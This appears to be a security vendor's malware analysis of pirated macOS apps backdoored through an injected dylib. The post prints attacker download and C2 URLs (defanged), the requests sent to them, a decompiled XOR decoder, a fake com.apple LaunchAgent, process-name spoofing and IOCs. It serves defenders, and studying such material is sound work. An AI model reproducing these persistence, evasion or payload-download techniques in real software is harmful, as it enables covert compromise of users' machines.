Research led by: Ferdous Saljooki and Jaron Bradley
Introduction
Jamf Threat Labs has detected a series of pirated macOS applications that have been modified to communicate to attacker infrastructure. These applications are being hosted on Chinese pirating websites in order to gain victims. Once detonated, the malware will download and execute multiple payloads in the background in order to secretly compromise the victim’s machine.
Discovery
While triaging through various threat alerts we’ve created at Jamf Threat Labs, we stumbled upon an executable that had the name .fseventsd
. This executable is notable as it’s both hidden (starts with a period) and uses the name of a process built into the operating system. On top of that, it’s also not signed by Apple and at the time of our research had no indication of being malicious on VirusTotal, as shown below.

Such characteristics often warrant further investigation. Using VirusTotal we were able to determine that this curious-looking .fseventsd
binary was originally uploaded as part of a greater DMG file. After looking for similar files on VirusTotal, we discovered three pirated applications that had all been backdoored with the same malware. Upon searching for these applications across the internet, we discovered that many were being hosted on macyy[.]cn
, a Chinese website that provides links to many pirated applications. We also discovered two additional DMGs trojanized in the same manner that had not yet made their way to VirusTotal. Below is a list of compromised DMGs.
navicat161_premium_cs.dmg – ca91c796f211f49b789b0bcdb1e07a26433c1c2d
ultraedit.dmg – 40ad975e6656c9050325c4d5c989795c14665ba7
FinalShell.dmg 1bb0ad2dbec93fb4f3c7b95975e95899c2ed747b
secureCRT.dmg – daa12a5a3f393590e74338a19af444a706b122dd
Microsoft-Remote-Desktop-Beta.dmg – d6527dad7a263d5a5d2699e4fb47461567c03ff1
navicat161_premium_cs.dmg - ca91c796f211f49b789b0bcdb1e07a26433c1c2d
ultraedit.dmg - 40ad975e6656c9050325c4d5c989795c14665ba7
FinalShell.dmg 1bb0ad2dbec93fb4f3c7b95975e95899c2ed747b
secureCRT.dmg - daa12a5a3f393590e74338a19af444a706b122dd
Microsoft-Remote-Desktop-Beta.dmg - d6527dad7a263d5a5d2699e4fb47461567c03ff1
Analysis of the Malware
Each pirated application resulted in the execution of malicious activity. At a high level this activity is as follows:
Malicious dylib: A malicious library loaded by the application that acts as a dropper executing each time the application is opened
Backdoor: A binary downloaded by the malicious dylib that uses the Khepri open-source C2 and post-exploitation tool
Persistent downloader: A binary downloaded by the malicious dylib that sets up persistence and downloads additional payloads
Below we will break down each of these items in detail using the malicious FinalShell.dmg referenced above. Each application bundle has had its Mach-O executable modified with an additional load command.
Below are two images. The first shows the load commands of the legitimate FinalShell.app executable, while the second shows the load commands of the malicious FinalShell.app.


Here we see that the malicious FinalShell application has an additional dylib library titled libpng.dylib loaded at runtime. This dylib is loaded each time the application is opened thus starting the malware in the background.
Analysis of the malicious dylib
This technique of hooking malware in via malicious dylib is considered fairly advanced as far as macOS malware goes. However, it does result in breaking the application signature. As a result, the apps are being distributed online as unsigned applications — a detail that many users who are downloading pirated applications likely don’t care about.
Looking within the dylib, we see that there are a series of fairly obvious strings.

Upon execution of the FinalShell application, the dylib reaches out to two different URLs to download two payloads located at hxxp://download[.]finalshell[.]cc/bd.log
and hxxp://download[.]finalshell[.]cc/fl01.log
. The malware uses sscanf
and the format string %*[^//]//%[^/]%s
to extract the domain and path from the URL to make a HTTP GET request.
Hypertext Transfer Protocol
GET /fl01.log HTTP/1.1rn
HOST: download.finallshell[.]ccrn
Cache-Control: no-cachern
Connection: closern
rn
[Full request URI: http://download.finallshell[.]cc/fl01.log]
Hypertext Transfer Protocol
GET /fl01.log HTTP/1.1rn
HOST: download.finallshell[.]ccrn
Cache-Control: no-cachern
Connection: closern
rn
[Full request URI: http://download.finallshell[.]cc/fl01.log]
Both of the downloaded executables are encoded with a custom XOR routine and get decoded in-memory before being written to disk. Presumably this is to prevent any researchers from analyzing the binaries if they happen to come across the download URL.
The below function takes an encoded byte, applies a combination of XOR and subtraction operations with the XOR key 0x7a
, and produces a decrypted byte. The use of both XOR and subtraction makes the encryption slightly more complex than a simple XOR cipher. The masking with 0xff
ensures that all operations stay within the valid range for a byte, accounting for any underflow during subtraction.
//Start of the decryption loop //Subtract the key from the current byte and store the result //XOR the current byte again with the key and store the result //Increment the data pointer //Subtract the key from the byte at the original position and store the result //Increment the loop counter //Cleanup and return
int sub_fc0(int arg0, int arg1, int arg2) {
//Initialize local variables
var_8 = arg0; //Pointer to data to be decrypted
var_10 = arg1; //Length of the data
rdx = arg2 & 0xff & 0x80000000 ? 0xffffffff : 0x0;
rax = (arg2 & 0xff) / 0x8ca;
var_21 = (arg2 & 0xff) % 0x8ca + 0x58; //Calculate XOR key 0x7a
var_20 = 0x0; //Initialize loop counter
do {
//Check if the loop counter has reached the length of the data
rax = var_20;
if (rax >= var_10) {
break;
}
//XOR the current byte with the key and store the result
*(int8_t *)var_8 = *(int8_t *)var_8 & 0xff ^ var_21 & 0xff;
*(int8_t *)var_8 = (*(int8_t *)var_8 & 0xff) – (var_21 & 0xff);
*(int8_t *)var_8 = *(int8_t *)var_8 & 0xff ^ var_21 & 0xff;
rcx = var_8;
var_8 = rcx + 0x1;
*(int8_t *)rcx = (*(int8_t *)rcx & 0xff) – (var_21 & 0xff);
var_20 = var_20 + 0x1;
} while (true); //Continue looping until all data is processed
rbp = stack[-8];
rsp = rsp + 0x8;
return rax;
}
int sub_fc0(int arg0, int arg1, int arg2) {
//Initialize local variables
var_8 = arg0; //Pointer to data to be decrypted
var_10 = arg1; //Length of the data
rdx = arg2 & 0xff & 0x80000000 ? 0xffffffff : 0x0;
rax = (arg2 & 0xff) / 0x8ca;
var_21 = (arg2 & 0xff) % 0x8ca + 0x58; //Calculate XOR key 0x7a
var_20 = 0x0; //Initialize loop counter
//Start of the decryption loop
do {
//Check if the loop counter has reached the length of the data
rax = var_20;
if (rax >= var_10) {
break;
}
//XOR the current byte with the key and store the result
*(int8_t *)var_8 = *(int8_t *)var_8 & 0xff ^ var_21 & 0xff;
//Subtract the key from the current byte and store the result
*(int8_t *)var_8 = (*(int8_t *)var_8 & 0xff) - (var_21 & 0xff);
//XOR the current byte again with the key and store the result
*(int8_t *)var_8 = *(int8_t *)var_8 & 0xff ^ var_21 & 0xff;
//Increment the data pointer
rcx = var_8;
var_8 = rcx + 0x1;
//Subtract the key from the byte at the original position and store the result
*(int8_t *)rcx = (*(int8_t *)rcx & 0xff) - (var_21 & 0xff);
//Increment the loop counter
var_20 = var_20 + 0x1;
} while (true); //Continue looping until all data is processed
//Cleanup and return
rbp = stack[-8];
rsp = rsp + 0x8;
return rax;
}
A script to decode the encoded executables can be found at the end of this blog post.
After decoding the executables, the dylib will write the first download (bd.log) to the path /tmp/.test
and the second download (fl01.log) to the path /Users/Shared/.fseventsd
. Executable permissions are then applied and the payloads are subsequently launched with a call to execve
. It’s important to note that the dylib will get loaded each time the FinalShell application is launched. This means the attacker can swap the encoded executable on the server for a new payload at any given time and it will be downloaded and executed the next time the user opens the application.
Before executing the newly downloaded /tmp/.test
binary, the attacker sets the arguments to represent that of ssh, which we can see by running the launchctl procinfo command after placing a breakpoint on it at the start of the newly executed malware.
>> sudo launchctl procinfo 62127
program path = /private/tmp/.test
argument count = 2
argument vector = {
[0] = /usr/local/bin/ssh
[1] = -n
}
environment vector = {
PATH => /bin:/usr/bin:/sbin:/usr/sbin
HOME => /tmp
}
>> sudo launchctl procinfo 62127
program path = /private/tmp/.test
argument count = 2
argument vector = {
[0] = /usr/local/bin/ssh
[1] = -n
}
environment vector = {
PATH => /bin:/usr/bin:/sbin:/usr/sbin
HOME => /tmp
}
We found this interesting for multiple reasons. First off, if a power user did happen to spot these fake arguments, ssh is likely to cause a panic and further investigation. Secondly, the path to ssh that was chosen is not the true path to ssh on macOS. Finally, as we’ll get into in the next section, the /tmp/.test
executable will overwrite these arguments as soon as it’s executed.
Analysis of the backdoor
Despite being called /tmp/.test
, this executable is a fully fledged backdoor built upon the open-source Khepri command and control project. This executable remains hidden in the temporary directory without being relocated, which means that it will be deleted when the system shuts down. However, it will be created and run again the next time the application is opened and the malicious dylib is loaded.
As mentioned above, one particularly interesting technique that the malware uses is replacing its command-line arguments in order to further blend in with the operating system. It does this by copying the arguments “distnoted agent” into the processes argv[0] value using the strcopy function. After this occurs, we see that the arguments now reflect that of “distnoted agent”
>> sudo launchctl procinfo 41822
program path = /private/tmp/.test
argument count = 2
argument vector = {
[0] = /usr/sbin/distnoted agent
[1] = ptr_munge=
}
responsible pid = 41821
responsible unique pid = 241337
responsible path = /Applications/FinalShell.app/Contents/MacOS/FinalShell
>> sudo launchctl procinfo 41822
program path = /private/tmp/.test
argument count = 2
argument vector = {
[0] = /usr/sbin/distnoted agent
[1] = ptr_munge=
}
responsible pid = 41821
responsible unique pid = 241337
responsible path = /Applications/FinalShell.app/Contents/MacOS/FinalShell
This technique is primarily effective against the “ps” output where it will now look similar to the other “distnoted agent” processes that likely exist on the user’s system.
% ps aux | grep “distnoted”
yuzokano 41822 0.0 0.0 34591296 3244 ?? Ss 11:27am 0:00.18 /usr/sbin/distnoted agent
_rmd 989 0.0 0.0 408168944 1008 ?? S 8Jan24 0:14.84 /usr/sbin/distnoted agent
_assetcache 679 0.0 0.0 408168944 1008 ?? S 8Jan24 0:14.57 /usr/sbin/distnoted agent
_applepay 657 0.0 0.0 408168944 1008 ?? S 8Jan24 0:14.81 /usr/sbin/distnoted agent
_gamecontrollerd 647 0.0 0.0 408168944 1008 ?? S 8Jan24 0:14.86 /usr/sbin/distnoted agent
yuzokano 464 0.0 0.0 408169968 3888 ?? S 8Jan24 6:21.52 /usr/sbin/distnoted agent
_appleevents 457 0.0 0.0 408168944 1008 ?? S 8Jan24 0:15.01 /usr/sbin/distnoted agent
_distnote 138 0.0 0.0 408168944 2720 ?? Ss 8Jan24 4:49.62 /usr/sbin/distnoted daemon
……..
% ps aux | grep "distnoted"
yuzokano 41822 0.0 0.0 34591296 3244 ?? Ss 11:27am 0:00.18 /usr/sbin/distnoted agent
_rmd 989 0.0 0.0 408168944 1008 ?? S 8Jan24 0:14.84 /usr/sbin/distnoted agent
_assetcache 679 0.0 0.0 408168944 1008 ?? S 8Jan24 0:14.57 /usr/sbin/distnoted agent
_applepay 657 0.0 0.0 408168944 1008 ?? S 8Jan24 0:14.81 /usr/sbin/distnoted agent
_gamecontrollerd 647 0.0 0.0 408168944 1008 ?? S 8Jan24 0:14.86 /usr/sbin/distnoted agent
yuzokano 464 0.0 0.0 408169968 3888 ?? S 8Jan24 6:21.52 /usr/sbin/distnoted agent
_appleevents 457 0.0 0.0 408168944 1008 ?? S 8Jan24 0:15.01 /usr/sbin/distnoted agent
_distnote 138 0.0 0.0 408168944 2720 ?? Ss 8Jan24 4:49.62 /usr/sbin/distnoted daemon
........
If using a program that looks at process names based on sources other than the process’s argv[0] value, such as TrueTree, we see that the real name of the process is displayed, as shown below.
┣╸/sbin/launchd 1
┃ ┗╸/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder 84637
┃ ┗╸/Applications/FinalShell.app/Contents/MacOS/FinalShell 41821
┃ ┗╸/private/tmp/.test 41822
┣╸/sbin/launchd 1
┃ ┗╸/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder 84637
┃ ┗╸/Applications/FinalShell.app/Contents/MacOS/FinalShell 41821
┃ ┗╸/private/tmp/.test 41822
Upon examining the Khepri GitHub project, we did not see an option to perform this argv replacement. It’s possible that it was manually added by the malware author.
Much of the Khepri functionality can be easily seen on the client’s beacon.h header.
void send_get_host_info(const std::string& beacon_id); void send_get_process_list(const std::string& beacon_id); void send_kill_process(const std::string& beacon_id, int pid); void send_get_disk_list(const std::string& beacon_id); void send_get_file_list(const std::string& beacon_id, const std::string& dir); void send_upload_file(const std::string& beacon_id, const std::string& upload_dir, const std::string& file_name, const QByteArray& file_data); void send_delete_file(const std::string& beacon_id, const std::string& file_path); void send_download_file(const std::string& beacon_id, const std::string& file_path); void send_exec_file(const std::string& beacon_id, const std::string& file_path); void send_shell_cmd(const std::string& beacon_id, const std::string& path, const std::string& cmd); void send_sync_files();
public:
beacon_req(PolyM::Queue* mq, log_func func);
public:
beacon_req(PolyM::Queue* mq, log_func func);
void send_get_host_info(const std::string& beacon_id);
void send_get_process_list(const std::string& beacon_id);
void send_kill_process(const std::string& beacon_id, int pid);
void send_get_disk_list(const std::string& beacon_id);
void send_get_file_list(const std::string& beacon_id, const std::string& dir);
void send_upload_file(const std::string& beacon_id, const std::string& upload_dir, const std::string& file_name, const QByteArray& file_data);
void send_delete_file(const std::string& beacon_id, const std::string& file_path);
void send_download_file(const std::string& beacon_id, const std::string& file_path);
void send_exec_file(const std::string& beacon_id, const std::string& file_path);
void send_shell_cmd(const std::string& beacon_id, const std::string& path, const std::string& cmd);
void send_sync_files();
Analysis of the persistent downloader
The executable located at the path /Users/Shared/.fseventsd
functions as a persistent downloader that is capable of executing arbitrary payloads from the attacker’s server. The malware will first create a LaunchAgent at the path ~/Library/LaunchAgents/com.apple.fsevents.plist
. The com.apple
prefix is an evasion technique we’ve seen across various macOS malware to disguise itself as a legitimate Apple plist.
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE plist PUBLIC “-//Apple Computer/DTD PLIST 1.0//EN”
“http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
<plist version=”1.0″>
<dict>
<key>Label</key>
<string>com.apple.fsevents</string>
<key>ProgramArguments</key>
<array>
<string>/Users/Shared/.fseventsd</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer/DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.fsevents</string>
<key>ProgramArguments</key>
<array>
<string>/Users/Shared/.fseventsd</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
The LaunchAgent will ensure the .fseventsd
binary persists by executing it at the hidden path /Users/Shared/.fseventsd
. The malware will then send a HTTP GET request to the attacker server at the URL hXXp://bd.vscode.digital/fs.log
.
GET /fs.log HTTP/1.1
HOST: bd.vscode.digital
Cache-Control: no-cache
Connection: close
GET /fs.log HTTP/1.1
HOST: bd.vscode.digital
Cache-Control: no-cache
Connection: close
We’ve seen similar URLs with the path /fs.log
across the trojanized applications. However, at the time of our analysis these servers do not appear to be online and are not responding to the requests.
The malware will execute a series of system calls to copy the bytes from the HTTP response to a new file located at /tmp/.fseventsds
. This unknown executable is then launched.
The Khepri backdoor discussed in the previous section also has functionality to execute payloads. However, in order for the Khepri backdoor to be operational, the application must be opened by the user, as this persistent downloader will run anytime the system starts.
Similarities to ZuRu Malware
We’ve noted a number of similarities of this malware to the ZuRu malware originally discovered in 2021 and blogged about by Objective-See and Trend Micro.
The ZuRu malware was originally found in pirated applications iTerm, SecureCRT, Navicat Premium and Microsoft Remote Desktop Client. Upon opening the infected application, the user was presented with an operational app, but logic held within an added dylib would execute a Python script in the background to grab sensitive files and upload them to an attacker server. It’s possible that this malware is a successor to the ZuRu malware given its targeted applications, modified load commands and attacker infrastructure.
Similar to findings of the ZuRu malware in 2021, this malware also appears to primarily target victims in China based on the uploads we’ve seen to VirusTotal, the hosting of apps on pirated Chinese websites and the attacker infrastructure that communicates with Chinese IP addresses, as shown below.

Conclusion
This is not the first time Jamf Threat Labs has seen malware within pirated applications. One of the major difficulties about dealing with users who are installing pirated applications is the fact that they are expecting to see security alerts due to the fact that the software isn’t legitimate. This leaves them willing to skip past any security warning prompts built into the operating system such as Gatekeeper, which informs the user that these applications are not safe to open. Jamf Threat Labs remains vigilant in detecting these changes to keep customers safe by blocking this malware with our threat prevention feature in Jamf Protect.
Below is a list of indicators associated with each pirated application.
Filename: secureCRT.dmg Filename: ultraedit.dmg Filename: FinalShell.dmg Filename: Microsoft-Remote-Desktop-Beta.dmg
Filename: navicat161_premium_cs.dmg
SHA1: ca91c796f211f49b789b0bcdb1e07a26433c1c2d
DylibPath: Navicat Premium.app/Contents/Frameworks/libpng.dylib
DylibHash: c20ece082eefb432fa98a0e1535b4b4bdf6c97d3
DownloadUrls: download.macnavicat[.]com/bd.log , download.macnavicat[.]com/nv01.log
EncodedPersistentDownloaderHash: 72d307e57c1cb3afba325620b4328408053ff8f2 [bd.log]
EncodedBackdoorHash: 9e4f26badf2837d3d07fc234ef142b2cff578b6f [nv01.log]
BackdoorHash: 1220bd814d4ac523b9a2c47d22bc01c43eb4bde3 [/tmp/.test]
BackdoorUrl: ctl01.macnavicat[.]com -> 47[.]242.144.113
PersistentDownloaderHash: 408e24049e31f6121de57a5e041a350599be42ea [/Users/Shared/.fseventsd]
PersistentDownloaderUrl: bd.macnavicat[.]com/fs.log
SHA1: daa12a5a3f393590e74338a19af444a706b122dd
DylibPath: SecureCRT.app/Contents/Frameworks/libpng.dylib
DylibHash: d67726952ab17c1e3acef6e57bf1a24c98187810
DownloadUrls: download.securecrt[.]vip/bd.log , download.securecrt[.]vip/se01.log
EncodedPersistentDownloaderHash: 8c7fc196befb270bb7774fdd142add868a2ed102 [bd.log]
EncodedBackdoorHash: d1ebeca5c94732e4b5c3c0e492f3439ea6ac8b1e [se01.log]
BackdoorHash: 702a73ea8dbac7d8661cfdf687e1571c81efbc98 [/tmp/.test]
BackdoorUrl: securecrt.securecrt[.]cc -> 8[.]217.76.133
PersistentDownloaderHash: 227e7efae06fd0a52bfddb5edab071bafe770b2e [/Users/Shared/.fseventsd]
PersistentDownloaderUrl: bd.xmindcn[.]cc/fs.log
SHA1: 40ad975e6656c9050325c4d5c989795c14665ba7
DylibPath: UltraEdit.app/Contents/Resources/libConfigurer64.dylib
DylibHash: 7f5a34b0cfef974122d6717c60d68f0ac4ca46e0
DownloadUrls: download.ultraedit[.]info/bd.log , download.ultraedit[.]info/ud01.log
EncodedPersistentDownloaderHash: 06768b288951539257c1d3cc83acf1494237ae4d [bd.log]
EncodedBackdoorHash: f23b0bc2089529e2f2aecf172614871c5b4a4057 [ud01.log]
BackdoorHash: 5365597ecc3fc59f09d500c91c06937eb3952a1d [/tmp/.test]
BackdoorUrl: ultraedit.ultraedit[.]vip -> 8[.]217.206.134
PersistentDownloaderHash: c265765a15a59191240b253db33554622393ea59 [/Users/Shared/.fseventsd]
PersistentDownloaderUrl: bd.ultraedit[.]vip/fs.log
SHA1: 1bb0ad2dbec93fb4f3c7b95975e95899c2ed747b
DylibPath: FinalShell.app/Contents/Runtime/libpng.dylib
DylibHash: ed0b4184e79ab74852dc45d053064902370d0bec
DownloadUrls: download.finallshell[.]cc/bd.log , download.finallshell[.]cc/fl01.log
EncodedPersistentDownloaderHash: 8a300f7070a83b234359974359a70503976f137e [bd.log]
EncodedBackdoorHash: c39b98a003e8485db77abe17ee88ccbab5bfc662 [fl01.log]
BackdoorHash: 1bfa8ce2a7c6dda4239f3c89803a0995b22427de [/tmp/.test]
BackdoorUrl: finalshell.finalshell[.]me -> 8[.]217.132.190
PersistentDownloaderHash: 5145696f4032d54f36c0d959d7f0df06647c5deb [/Users/Shared/.fseventsd]
PersistentDownloaderUrl: bd.vscode[.]digital/fs.log
SHA1: d6527dad7a263d5a5d2699e4fb47461567c03ff1
DylibPath: Microsoft Remote Desktop Beta.app/Contents/Frameworks/libpng.dylib
DylibHash: 62aee7dadfb20442bbb2e89c98aa6a5fbc603829
DownloadUrls: download.rdesktophub[.]com/bd.log , download.rdesktophub[.]com/rt01.log
EncodedPersistentDownloaderHash: b14fd87246211e2232ab381cb70a020b8c2ff420 [bd.log]
EncodedBackdoorHash: 912e6bb2e502f2f553f19e7e77fa3310a0b0df18 [rt01.log]
BackdoorHash: 54becb469a94fb2b9cea92ae5e0adeed2dcdf796 [/tmp/.test]
BackdoorUrl: remote.rdesktopconnect[.]com -> 47[.]242.252.82
PersistentDownloaderHash: 908a3064cfa8e9fcb95552b08e064458ae6c20f3 [/Users/Shared/.fseventsd]
PersistentDownloaderUrl: bd.rdesktopconnect[.]com/fs.log
Filename: navicat161_premium_cs.dmg
SHA1: ca91c796f211f49b789b0bcdb1e07a26433c1c2d
DylibPath: Navicat Premium.app/Contents/Frameworks/libpng.dylib
DylibHash: c20ece082eefb432fa98a0e1535b4b4bdf6c97d3
DownloadUrls: download.macnavicat[.]com/bd.log , download.macnavicat[.]com/nv01.log
EncodedPersistentDownloaderHash: 72d307e57c1cb3afba325620b4328408053ff8f2 [bd.log]
EncodedBackdoorHash: 9e4f26badf2837d3d07fc234ef142b2cff578b6f [nv01.log]
BackdoorHash: 1220bd814d4ac523b9a2c47d22bc01c43eb4bde3 [/tmp/.test]
BackdoorUrl: ctl01.macnavicat[.]com -> 47[.]242.144.113
PersistentDownloaderHash: 408e24049e31f6121de57a5e041a350599be42ea [/Users/Shared/.fseventsd]
PersistentDownloaderUrl: bd.macnavicat[.]com/fs.log
Filename: secureCRT.dmg
SHA1: daa12a5a3f393590e74338a19af444a706b122dd
DylibPath: SecureCRT.app/Contents/Frameworks/libpng.dylib
DylibHash: d67726952ab17c1e3acef6e57bf1a24c98187810
DownloadUrls: download.securecrt[.]vip/bd.log , download.securecrt[.]vip/se01.log
EncodedPersistentDownloaderHash: 8c7fc196befb270bb7774fdd142add868a2ed102 [bd.log]
EncodedBackdoorHash: d1ebeca5c94732e4b5c3c0e492f3439ea6ac8b1e [se01.log]
BackdoorHash: 702a73ea8dbac7d8661cfdf687e1571c81efbc98 [/tmp/.test]
BackdoorUrl: securecrt.securecrt[.]cc -> 8[.]217.76.133
PersistentDownloaderHash: 227e7efae06fd0a52bfddb5edab071bafe770b2e [/Users/Shared/.fseventsd]
PersistentDownloaderUrl: bd.xmindcn[.]cc/fs.log
Filename: ultraedit.dmg
SHA1: 40ad975e6656c9050325c4d5c989795c14665ba7
DylibPath: UltraEdit.app/Contents/Resources/libConfigurer64.dylib
DylibHash: 7f5a34b0cfef974122d6717c60d68f0ac4ca46e0
DownloadUrls: download.ultraedit[.]info/bd.log , download.ultraedit[.]info/ud01.log
EncodedPersistentDownloaderHash: 06768b288951539257c1d3cc83acf1494237ae4d [bd.log]
EncodedBackdoorHash: f23b0bc2089529e2f2aecf172614871c5b4a4057 [ud01.log]
BackdoorHash: 5365597ecc3fc59f09d500c91c06937eb3952a1d [/tmp/.test]
BackdoorUrl: ultraedit.ultraedit[.]vip -> 8[.]217.206.134
PersistentDownloaderHash: c265765a15a59191240b253db33554622393ea59 [/Users/Shared/.fseventsd]
PersistentDownloaderUrl: bd.ultraedit[.]vip/fs.log
Filename: FinalShell.dmg
SHA1: 1bb0ad2dbec93fb4f3c7b95975e95899c2ed747b
DylibPath: FinalShell.app/Contents/Runtime/libpng.dylib
DylibHash: ed0b4184e79ab74852dc45d053064902370d0bec
DownloadUrls: download.finallshell[.]cc/bd.log , download.finallshell[.]cc/fl01.log
EncodedPersistentDownloaderHash: 8a300f7070a83b234359974359a70503976f137e [bd.log]
EncodedBackdoorHash: c39b98a003e8485db77abe17ee88ccbab5bfc662 [fl01.log]
BackdoorHash: 1bfa8ce2a7c6dda4239f3c89803a0995b22427de [/tmp/.test]
BackdoorUrl: finalshell.finalshell[.]me -> 8[.]217.132.190
PersistentDownloaderHash: 5145696f4032d54f36c0d959d7f0df06647c5deb [/Users/Shared/.fseventsd]
PersistentDownloaderUrl: bd.vscode[.]digital/fs.log
Filename: Microsoft-Remote-Desktop-Beta.dmg
SHA1: d6527dad7a263d5a5d2699e4fb47461567c03ff1
DylibPath: Microsoft Remote Desktop Beta.app/Contents/Frameworks/libpng.dylib
DylibHash: 62aee7dadfb20442bbb2e89c98aa6a5fbc603829
DownloadUrls: download.rdesktophub[.]com/bd.log , download.rdesktophub[.]com/rt01.log
EncodedPersistentDownloaderHash: b14fd87246211e2232ab381cb70a020b8c2ff420 [bd.log]
EncodedBackdoorHash: 912e6bb2e502f2f553f19e7e77fa3310a0b0df18 [rt01.log]
BackdoorHash: 54becb469a94fb2b9cea92ae5e0adeed2dcdf796 [/tmp/.test]
BackdoorUrl: remote.rdesktopconnect[.]com -> 47[.]242.252.82
PersistentDownloaderHash: 908a3064cfa8e9fcb95552b08e064458ae6c20f3 [/Users/Shared/.fseventsd]
PersistentDownloaderUrl: bd.rdesktopconnect[.]com/fs.log
The following script can be used to decode the XOR encoded binaries downloaded by the malicious dylib.
def decrypt_file(encrypted_file_path, decrypted_file_path, key): # Decryption key # File paths for the encrypted and decrypted files # Custom decoding scheme
def decrypt_byte(encoded_byte, key):
# XOR the encoded byte with the key
decrypted = encoded_byte ^ key
# Subtract the key from the result and mask with 0xff
decrypted = (decrypted – key) & 0xff
# XOR the result again with the key for further transformation
decrypted = decrypted ^ key
# Subtract the key again and mask with 0xff
decrypted = (decrypted – key) & 0xff
# Return the final decrypted byte
return decrypted
# Open and read the encrypted file
with open(encrypted_file_path, ‘rb’) as encrypted_file:
encrypted_data = encrypted_file.read()
# Decrypt each byte in the encrypted data
decrypted_data = bytearray([decrypt_byte(b, key) for b in encrypted_data])
# Write the decrypted data to a new file
with open(decrypted_file_path, ‘wb’) as decrypted_file:
decrypted_file.write(decrypted_data)
key = 0x7a
encrypted_file_path = ‘/tmp/bd.log’
decrypted_file_path = ‘/tmp/decoded’
decrypt_file(encrypted_file_path, decrypted_file_path, key)
def decrypt_byte(encoded_byte, key):
# XOR the encoded byte with the key
decrypted = encoded_byte ^ key
# Subtract the key from the result and mask with 0xff
decrypted = (decrypted - key) & 0xff
# XOR the result again with the key for further transformation
decrypted = decrypted ^ key
# Subtract the key again and mask with 0xff
decrypted = (decrypted - key) & 0xff
# Return the final decrypted byte
return decrypted
def decrypt_file(encrypted_file_path, decrypted_file_path, key):
# Open and read the encrypted file
with open(encrypted_file_path, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()
# Decrypt each byte in the encrypted data
decrypted_data = bytearray([decrypt_byte(b, key) for b in encrypted_data])
# Write the decrypted data to a new file
with open(decrypted_file_path, 'wb') as decrypted_file:
decrypted_file.write(decrypted_data)
# Decryption key
key = 0x7a
# File paths for the encrypted and decrypted files
encrypted_file_path = '/tmp/bd.log'
decrypted_file_path = '/tmp/decoded'
# Custom decoding scheme
decrypt_file(encrypted_file_path, decrypted_file_path, key)
Source: https://www.jamf.com/blog/jtl-malware-pirated-applications/
Views: 0